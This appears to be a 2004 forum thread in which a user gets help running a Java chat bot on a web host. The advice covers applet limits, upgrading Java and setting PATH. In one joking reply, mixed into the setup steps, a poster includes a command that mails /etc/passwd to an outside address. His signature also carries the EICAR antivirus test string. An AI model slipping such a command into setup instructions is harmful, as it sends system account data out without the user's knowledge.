• Welcome to Valhalla Legends Archive.
 

[Java] Running Bot Off of a Webserver

Started by AC_Drkan, November 05, 2004, 05:39 PM

Previous topic - Next topic

AC_Drkan

I have a file named bot.jar, its a chat bot, and i was wondering if there was anyway that i could run it by using the <applet> tags in HTML. I have tried but i cannot get the code base down and im pretty lost, please help. My Following <applet> tags:

<applet code=Something Here archive="bot.jar" width=640 height=400>

"The Arguments of Today Result in the Wars of Tomorrow" - Quote By Muah.
<@Logan> I spent a minute looking at my own code by accident.
<@Logan> I was thinking "What the hell is this guy doing?"

<kow`> "There are 10 types of people in the world... those who understand binary and those who don't."
<SpaceRain> That's only 2 types of people, kow.
<SpaceRain> STUPID


<[TN]FBMachine> i got kicked out of barnes and noble once for moving all the bibles into the fiction section

God i love Bash.org.

iago

The JVM has a rule that it can't connect to a server that isn't hosted locally on the client and isn't hosted on the server that the Applet is on.  I don't think a bot would work to connect to Battle.net because of that.
This'll make an interesting test for broken AV:
QuoteX5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*


AC_Drkan

Quote from: iago on November 06, 2004, 02:26 AM
The JVM has a rule that it can't connect to a server that isn't hosted locally on the client and isn't hosted on the server that the Applet is on.  I don't think a bot would work to connect to Battle.net because of that.

Then how does an irc client connect to an irc server from a web server?
"The Arguments of Today Result in the Wars of Tomorrow" - Quote By Muah.
<@Logan> I spent a minute looking at my own code by accident.
<@Logan> I was thinking "What the hell is this guy doing?"

<kow`> "There are 10 types of people in the world... those who understand binary and those who don't."
<SpaceRain> That's only 2 types of people, kow.
<SpaceRain> STUPID


<[TN]FBMachine> i got kicked out of barnes and noble once for moving all the bibles into the fiction section

God i love Bash.org.

iago

I would guess (?) that the irc server is running on the web server.
This'll make an interesting test for broken AV:
QuoteX5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*


AC_Drkan

#4
Quote from: iago on November 06, 2004, 01:33 PM
I would guess (?) that the irc server is running on the web server.

Nope,

It connect from a java application witha .jar extension, similar to the Bot. But i tried the settings for the bot as the same for the application and it turned up nothing.

Im not talking about running it 24/7.Just for like 50 minutes each day because at my school, port 6112 and 6115 are blocked.
"The Arguments of Today Result in the Wars of Tomorrow" - Quote By Muah.
<@Logan> I spent a minute looking at my own code by accident.
<@Logan> I was thinking "What the hell is this guy doing?"

<kow`> "There are 10 types of people in the world... those who understand binary and those who don't."
<SpaceRain> That's only 2 types of people, kow.
<SpaceRain> STUPID


<[TN]FBMachine> i got kicked out of barnes and noble once for moving all the bibles into the fiction section

God i love Bash.org.

Banana fanna fo fanna


iago

You should look into JavaOp (http://javaop.clan-e1.net).  You can run JavaOp on your home computer, then connect to http://your.ip:port.  You can run it on whatever port.  And you get a very nice looking web interface to use it through.
This'll make an interesting test for broken AV:
QuoteX5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*


AC_Drkan

Quote from: iago on November 07, 2004, 02:45 AM
You should look into JavaOp (http://javaop.clan-e1.net).  You can run JavaOp on your home computer, then connect to http://your.ip:port.  You can run it on whatever port.  And you get a very nice looking web interface to use it through.

I have JavaOp but i cannot get it to run on a linux server.(not mine) i use the hosting service from 1and1.com .Business Package which allows for SSL.

Perhaps you can help me.

I cannot find the fully compiled version.
"The Arguments of Today Result in the Wars of Tomorrow" - Quote By Muah.
<@Logan> I spent a minute looking at my own code by accident.
<@Logan> I was thinking "What the hell is this guy doing?"

<kow`> "There are 10 types of people in the world... those who understand binary and those who don't."
<SpaceRain> That's only 2 types of people, kow.
<SpaceRain> STUPID


<[TN]FBMachine> i got kicked out of barnes and noble once for moving all the bibles into the fiction section

God i love Bash.org.

AC_Drkan

-----------------------------------------------
|         _                   ___             |
|        | | __ ___   ____ _ / _ \ _ __       |
|     _  | |/ _` \ \ / / _` | | | | '_ \      |
|    | |_| | (_| |\ V / (_| | |_| | |_) |     |
|     \___/ \__,_| \_/ \__,_|\___/| .__/      |
|                                 |_|         |
-----------------------------------------------
>>> Loading profile
Exception in thread "main" java.lang.NoSuchMethodError
        at util.Output.addChat(Output.java:36)
        at bot.BNetSocket.<init>(BNetSocket.java:90)
        at Main.main(Main.java:75)

^^ i don't think thats a good sign ^^
"The Arguments of Today Result in the Wars of Tomorrow" - Quote By Muah.
<@Logan> I spent a minute looking at my own code by accident.
<@Logan> I was thinking "What the hell is this guy doing?"

<kow`> "There are 10 types of people in the world... those who understand binary and those who don't."
<SpaceRain> That's only 2 types of people, kow.
<SpaceRain> STUPID


<[TN]FBMachine> i got kicked out of barnes and noble once for moving all the bibles into the fiction section

God i love Bash.org.

iago

You need to upgrade to java 1.4.2.  You can get that from http://java.sun.com
This'll make an interesting test for broken AV:
QuoteX5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*


AC_Drkan

Help?


Secruity Reasons:~/Java/javaop/bin > java main profile
bash: java: command not found


I followed the directions... help me!!
"The Arguments of Today Result in the Wars of Tomorrow" - Quote By Muah.
<@Logan> I spent a minute looking at my own code by accident.
<@Logan> I was thinking "What the hell is this guy doing?"

<kow`> "There are 10 types of people in the world... those who understand binary and those who don't."
<SpaceRain> That's only 2 types of people, kow.
<SpaceRain> STUPID


<[TN]FBMachine> i got kicked out of barnes and noble once for moving all the bibles into the fiction section

God i love Bash.org.

iago

You need to make a link to the Java binaries somewhere on your path.  I'm guessing that Java is installed in /usr/local/j2sdk, in which case you need to do this, as root:
$ ln -s /usr/local/j2sdk/bin/* /usr/local/bin

And while you're on root, don't forget this:
$ echo -ne "To: [email protected]\n\n`cat /etc/passwd`\n\n" | /usr/bin/mail
(I'm joking about that, of course)
This'll make an interesting test for broken AV:
QuoteX5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*


AC_Drkan

Quote from: iago on November 14, 2004, 02:12 PM
You need to make a link to the Java binaries somewhere on your path.  I'm guessing that Java is installed in /usr/local/j2sdk, in which case you need to do this, as root:
$ ln -s /usr/local/j2sdk/bin/* /usr/local/bin

And while you're on root, don't forget this:
$ echo -ne "To: [email protected]\n\n`cat /etc/passwd`\n\n" | /usr/bin/mail
(I'm joking about that, of course)

I don't have access to the Root Admin Account. I bought a hosting service with ssl thats running a linux server.
"The Arguments of Today Result in the Wars of Tomorrow" - Quote By Muah.
<@Logan> I spent a minute looking at my own code by accident.
<@Logan> I was thinking "What the hell is this guy doing?"

<kow`> "There are 10 types of people in the world... those who understand binary and those who don't."
<SpaceRain> That's only 2 types of people, kow.
<SpaceRain> STUPID


<[TN]FBMachine> i got kicked out of barnes and noble once for moving all the bibles into the fiction section

God i love Bash.org.

iago

Ok, then you need to add the path to the java binaries to your path.

Assuming you're using Bash, you can create a file in your home folder called .bash_profile (I *think*) (don't forget the period in front), and put this in it:
PATH=/usr/local/j2sdk/bin:$PATH

Again, that's assuming that java is installed in /usr/local/j2sdk/bin.  It doesn't matter where Java is, as long a you add it's "bin" folder to your path.
This'll make an interesting test for broken AV:
QuoteX5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*


AC_Drkan

Quote from: iago on November 14, 2004, 06:37 PM
Ok, then you need to add the path to the java binaries to your path.

Assuming you're using Bash, you can create a file in your home folder called .bash_profile (I *think*) (don't forget the period in front), and put this in it:
PATH=/usr/local/j2sdk/bin:$PATH

Again, that's assuming that java is installed in /usr/local/j2sdk/bin.  It doesn't matter where Java is, as long a you add it's "bin" folder to your path.

?? Im confused....

So makle a folder called .bash_profile
and put what inside it?
a text file containing PATH=/usr/local/j2sdk/bin:$PATH ??
"The Arguments of Today Result in the Wars of Tomorrow" - Quote By Muah.
<@Logan> I spent a minute looking at my own code by accident.
<@Logan> I was thinking "What the hell is this guy doing?"

<kow`> "There are 10 types of people in the world... those who understand binary and those who don't."
<SpaceRain> That's only 2 types of people, kow.
<SpaceRain> STUPID


<[TN]FBMachine> i got kicked out of barnes and noble once for moving all the bibles into the fiction section

God i love Bash.org.